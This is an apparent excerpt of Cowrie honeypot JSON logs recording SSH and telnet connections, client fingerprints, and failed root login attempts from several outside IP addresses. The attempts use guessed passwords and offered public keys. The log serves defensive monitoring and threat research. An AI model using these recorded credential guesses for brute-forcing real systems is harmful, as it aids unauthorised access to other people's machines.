{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:05.881698Z","src_ip":"43.134.228.151","session":"c50acb707311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"*&#@#&%","message":"login attempt [root/*&#@#&%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:06.896218Z","src_ip":"43.134.228.151","session":"c50acb707311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:08.145230Z","src_ip":"43.134.228.151","session":"c50acb707311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.50.40.252","src_port":32992,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4237f806fb","protocol":"ssh","message":"New connection: 36.50.40.252:32992 (10.17.0.5:22) [session: ac4237f806fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:14.174383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:14.179291Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38654,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e65dfa989a","protocol":"ssh","message":"New connection: 31.40.204.166:38654 (159.203.135.109:22) [session: 27e65dfa989a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:14.318137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:14.381359Z","src_ip":"31.40.204.166","session":"27e65dfa989a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:14.423930Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:14.501552Z","src_ip":"31.40.204.166","session":"27e65dfa989a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:15.096562Z","src_ip":"31.40.204.166","session":"27e65dfa989a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64414bc4dd3","protocol":"telnet","message":"New connection: 152.42.224.71:38002 (10.17.0.5:23) [session: f64414bc4dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:15.607941Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:34:92:6d:30:2a:55:55:4c:18:b2:06:10:45:6d:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5XNtcz7sQGa3z2rsrbbRl0FJSccmEmYYz9ErMdkESIhD6clh/CBoNcwrw6IWZXOU0BG0am23r2dFjTnSoSPdbJk3ZI/ktMRo4VUaIyOriYWEDHC5Jj5WhJFm+1UZp7cWgtc7+MkUvQ6WlQJKfIfyYSEw8NBVF2/22nPAJ7b64EURJ/yk/xB0/T0dc9J/b67p1VfITynjIDZZtlVC1h474Peo/BSFZBkZY2dO/IXlbTRrCbdSP+oE12nHVwwHShHRDb3q6Oh6BVplXfc3hH8ZYlFc271kbjrulwT61U0k8gXM4oZe998afRfARMHd9CR7lChQJRsPMAa54TMEny529","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:34:92:6d:30:2a:55:55:4c:18:b2:06:10:45:6d:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:15.629164Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:34:92:6d:30:2a:55:55:4c:18:b2:06:10:45:6d:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5XNtcz7sQGa3z2rsrbbRl0FJSccmEmYYz9ErMdkESIhD6clh/CBoNcwrw6IWZXOU0BG0am23r2dFjTnSoSPdbJk3ZI/ktMRo4VUaIyOriYWEDHC5Jj5WhJFm+1UZp7cWgtc7+MkUvQ6WlQJKfIfyYSEw8NBVF2/22nPAJ7b64EURJ/yk/xB0/T0dc9J/b67p1VfITynjIDZZtlVC1h474Peo/BSFZBkZY2dO/IXlbTRrCbdSP+oE12nHVwwHShHRDb3q6Oh6BVplXfc3hH8ZYlFc271kbjrulwT61U0k8gXM4oZe998afRfARMHd9CR7lChQJRsPMAa54TMEny529","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:15.634687Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:00:ff:eb:5c:4c:60:a0:4a:3e:8e:d2:10:ff:07:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwUioIaFbEQlVx/PCxeDMcOtK/LOn0Sw405SluO/eUs/2HjFMGIuN2gViCbzh99I+Ke02vk2/5vlW7UQpsgYoYetp1dUvzIiHZnkPjTVbHRNadoC8ml1DBESmb6CW+i+EyoNzgos0oSn8pPBHXOHHwLvDHHEKgJHD9tfThBjtqjzSPk3I64TQQownScHlaBFkygX4f+axjSsMK2SLvHgC1zki3Ziw3KX4EmywjZt+Emyg7O3AFKpJw8ug2E1GIaFpZGcA+uUeWhYx4zuCUfv6T6oFptauS4Un4WVo8BboqgUvgXmIcFl55wc2oWPoMnpTEAZOwWgMJSL/FNZmxFeGR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:00:ff:eb:5c:4c:60:a0:4a:3e:8e:d2:10:ff:07:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:15.881390Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:00:ff:eb:5c:4c:60:a0:4a:3e:8e:d2:10:ff:07:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwUioIaFbEQlVx/PCxeDMcOtK/LOn0Sw405SluO/eUs/2HjFMGIuN2gViCbzh99I+Ke02vk2/5vlW7UQpsgYoYetp1dUvzIiHZnkPjTVbHRNadoC8ml1DBESmb6CW+i+EyoNzgos0oSn8pPBHXOHHwLvDHHEKgJHD9tfThBjtqjzSPk3I64TQQownScHlaBFkygX4f+axjSsMK2SLvHgC1zki3Ziw3KX4EmywjZt+Emyg7O3AFKpJw8ug2E1GIaFpZGcA+uUeWhYx4zuCUfv6T6oFptauS4Un4WVo8BboqgUvgXmIcFl55wc2oWPoMnpTEAZOwWgMJSL/FNZmxFeGR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:15.885800Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:ac:9d:d6:6e:58:0c:ef:b0:2b:6e:1e:e7:1d:93:e6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8MnPZ2NtK2hZpNjLfJ7E234cYCA1fu14bRYEjkwQwT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 58:ac:9d:d6:6e:58:0c:ef:b0:2b:6e:1e:e7:1d:93:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.131572Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:ac:9d:d6:6e:58:0c:ef:b0:2b:6e:1e:e7:1d:93:e6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8MnPZ2NtK2hZpNjLfJ7E234cYCA1fu14bRYEjkwQwT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.136060Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.826812505722046,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.141131Z","src_ip":"152.42.224.71","session":"48dce1c11929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.311411Z","src_ip":"31.40.204.166","session":"27e65dfa989a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:e3:52:be:b7:b6:b0:c8:c7:5f:89:a8:68:70:c0:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs8EJxx5f5RalTDsnWN19/boSebobU010yQCCZmTBVh748TprOp66uGdcSQpjca7g3Vc4fnkH+cjoTZW2Q0a+CkVJEx93W8H2Ok6x/pYeADRt6o8aPX5BpBRRj7k86AED0Qh8zWZgPRGSrA3w+fCDTulF+bOYoTIZFGtEXGd+8smPoNxVWFTIZjK6HRORtbSYy/yyz5Dh2ovBZYwXrhUYHBqwFY8v8hG0uH35gaXS9K678XOGXiPgS2mrF1wc3UNRdn/9mM9OJg0h0ZduPeZCa9nJFSP4Fc72yFz/ROzKyZPRJ5oexAHvlVEVNzhX4yya8xuW+CvdVQOTjGhZXLNS9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:e3:52:be:b7:b6:b0:c8:c7:5f:89:a8:68:70:c0:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.381693Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:e3:52:be:b7:b6:b0:c8:c7:5f:89:a8:68:70:c0:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs8EJxx5f5RalTDsnWN19/boSebobU010yQCCZmTBVh748TprOp66uGdcSQpjca7g3Vc4fnkH+cjoTZW2Q0a+CkVJEx93W8H2Ok6x/pYeADRt6o8aPX5BpBRRj7k86AED0Qh8zWZgPRGSrA3w+fCDTulF+bOYoTIZFGtEXGd+8smPoNxVWFTIZjK6HRORtbSYy/yyz5Dh2ovBZYwXrhUYHBqwFY8v8hG0uH35gaXS9K678XOGXiPgS2mrF1wc3UNRdn/9mM9OJg0h0ZduPeZCa9nJFSP4Fc72yFz/ROzKyZPRJ5oexAHvlVEVNzhX4yya8xuW+CvdVQOTjGhZXLNS9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.385371Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:7b:37:dd:e3:3b:6b:2a:f2:a7:2b:63:0c:9d:5e:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDACkedd0Alrb3cWWhtA7rSpq0wAV/yfa8oBmWOqZ6/60c4jaW2dGXG2Qm05h0AM9Bt6ThGWF+9coBky/5l1zI1ZqhrzVtZ6PuYEoFNpLxkBYxahj+uMNsLc8Ougg+TohJi5NIVcaqSSRTcBWzSZzlYfiJu0EIf3mxBgMiYDBIQsmGzi/ubnr3BfyNM1LHxAjjSUTkINSHO/hu/t+hCoWSSMVZK3uSSCxEYkjMO8SK9ywz9um1wEtuCeljc5RLWXWD1z1KugfpK4ZgMudFVl8hWeb77EPMa+DDKRzhZPQ4wV3qdQYTGc2GRmaVKq4DCyCX+RCG/8N0aySElwvFsF0vl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:7b:37:dd:e3:3b:6b:2a:f2:a7:2b:63:0c:9d:5e:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.631169Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:7b:37:dd:e3:3b:6b:2a:f2:a7:2b:63:0c:9d:5e:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDACkedd0Alrb3cWWhtA7rSpq0wAV/yfa8oBmWOqZ6/60c4jaW2dGXG2Qm05h0AM9Bt6ThGWF+9coBky/5l1zI1ZqhrzVtZ6PuYEoFNpLxkBYxahj+uMNsLc8Ougg+TohJi5NIVcaqSSRTcBWzSZzlYfiJu0EIf3mxBgMiYDBIQsmGzi/ubnr3BfyNM1LHxAjjSUTkINSHO/hu/t+hCoWSSMVZK3uSSCxEYkjMO8SK9ywz9um1wEtuCeljc5RLWXWD1z1KugfpK4ZgMudFVl8hWeb77EPMa+DDKRzhZPQ4wV3qdQYTGc2GRmaVKq4DCyCX+RCG/8N0aySElwvFsF0vl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.635085Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:16.883258Z","src_ip":"36.50.40.252","session":"ac4237f806fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49004,"dst_ip":"10.17.0.5","dst_port":23,"session":"d779e83c4d95","protocol":"telnet","message":"New connection: 152.42.224.71:49004 (10.17.0.5:23) [session: d779e83c4d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:18.473522Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"353cd5ee728c","protocol":"telnet","message":"New connection: 152.42.224.71:49014 (10.17.0.5:23) [session: 353cd5ee728c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:19.248725Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"515275f9a6a4","protocol":"ssh","message":"New connection: 103.195.236.96:39028 (10.17.0.5:22) [session: 515275f9a6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:19.638307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:19.643123Z","src_ip":"103.195.236.96","session":"515275f9a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.1461591720581,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:19.867162Z","src_ip":"152.42.224.71","session":"53b88669965a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:19.884252Z","src_ip":"103.195.236.96","session":"515275f9a6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3","message":"login attempt [root/3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:20.609135Z","src_ip":"103.195.236.96","session":"515275f9a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":56022,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea87ee027724","protocol":"ssh","message":"New connection: 94.230.136.33:56022 (159.203.135.109:22) [session: ea87ee027724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:21.025809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:21.029874Z","src_ip":"94.230.136.33","session":"ea87ee027724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:21.177644Z","src_ip":"94.230.136.33","session":"ea87ee027724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxmax","message":"login attempt [root/maxmax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:21.803135Z","src_ip":"94.230.136.33","session":"ea87ee027724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:21.851172Z","src_ip":"103.195.236.96","session":"515275f9a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:22.952186Z","src_ip":"94.230.136.33","session":"ea87ee027724","protocol":"ssh"}
